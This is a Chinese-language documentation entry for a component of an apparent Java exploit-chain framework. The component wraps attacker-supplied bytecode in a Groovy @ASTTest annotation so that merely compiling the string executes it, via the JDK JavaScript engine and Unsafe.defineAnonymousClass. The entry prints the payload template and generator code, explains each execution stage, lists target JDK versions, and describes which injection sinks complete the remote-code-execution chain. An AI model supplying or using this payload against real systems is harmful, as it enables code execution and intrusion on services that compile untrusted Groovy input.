- 类别:common 别名:— 优先级:未设置(null)
- 作者:—
- 依赖:
groovy(目标运行时具备groovy.lang.GroovyShell/ Groovy 编译器;内嵌逻辑再借道 JDK 的 JS 引擎,见下)
「表达式转换」构件:把内层产出的 byte[] 字节码封装成一段 Groovy 源码字符串。与 GroovyConvert 直接给出可执行表达式不同,本类把 payload 藏在 @groovy.transform.ASTTest 注解里——该注解在 Groovy 编译期(AST 变换阶段) 就会执行 value 闭包,因此只要目标对源码做一次 Groovy 编译(而非运行)即可触发,适用于「只编译不执行」的场景。
- 入口
tags:Groovy_Expr、Expression—— 声明产物是 Groovy 表达式 / 通用表达式字符串,可被会对其做 Groovy 编译或求值的上游 sink(如GroovyShellRef、GroovyClassLoader 类)承接。 - 衔接
nextTags:BytecodeConvertTag—— 内层须为BytecodeConvert类构件,提供byte[]字节码。 excludes:无。
public static String template =
"@groovy.transform.ASTTest(value={\n" +
"assert Class.forName(\"javax.script.ScriptEngineManager\").newInstance()" +
".getEngineByName(\"JavaScript\").eval(\"" + JsConvert.jsTemplate + "\")\n" +
"})\n" +
"class Person {\n}";
private String getObject(byte[] bytecode) {
String bytecodeB64 = Base64.encodeBase64String(bytecode);
return String.format(template, bytecodeB64);
}逐段解释:
@groovy.transform.ASTTest(value={ ... })标注在class Person上。ASTTest是 Groovy 提供的编译期测试注解,其value闭包在编译该类时于 AST 阶段被求值——这意味着 无需实例化或运行 Person,仅编译template就会执行闭包体,命中「只做 Groovy 编译」的注入点。- 闭包内
Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(...):再借 JDK 内置 JS 引擎执行一段 JS。 - 内嵌 JS 直接复用 JsConvert 的
JsConvert.jsTemplate(编译期字符串拼接得到),该 JS 用sun.misc.Unsafe.defineAnonymousClass从 Base64 字节码定义匿名类并newInstance(),完成字节码加载执行。因此本类是「Groovy 编译期注解 → JS 引擎 → Unsafe 定义类」的三级跳。 String.format(template, bytecodeB64)只有一个%s(来自jsTemplate内的var s='%s'),填入 Base64 字节码。
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject((byte[]) chain.doCreate(context));
}invoke 极简:驱动内层拿 byte[],转成 Groovy 源码字符串返回。头部 Could not load ... Base64 为缺依赖的正常反编译提示。
本类无 @Param。字节码由内层 BytecodeConvert 提供;template 与所用的 JsConvert.jsTemplate 均为写死字段。
- description 明确「注意这里使用
@groovy.transform.ASTTest」:这是本类相对 GroovyConvert 的核心差异——命中编译期而非运行期执行,能覆盖某些只把用户输入交给 Groovy 编译器的场景。 - 因内嵌 JS 复用
JsConvert.jsTemplate(Unsafe.defineAnonymousClass),受其版本约束:JS 引擎需可用(JDK 8~14 的 Nashorn),且Unsafe.defineAnonymousClass在高版本 JDK(16/17+)被限制/移除。 - 需一个会对本字符串做 Groovy 编译/求值的上游 sink 才能形成完整 RCE。
无。自由构件,未直接出现在 51 条预设链中(对照 GroovyConvert 出现在「Groovy 脚本执行」链)。
- 内层(
nextTags=BytecodeConvertTag):BytecodeConvert 及其变体,向内接字节码 sink(如Exec)。 - 复用:JsConvert(
jsTemplate)。 - 同族表达式转换:GroovyConvert、FreemarkerConvert、FreemarkerConvert2。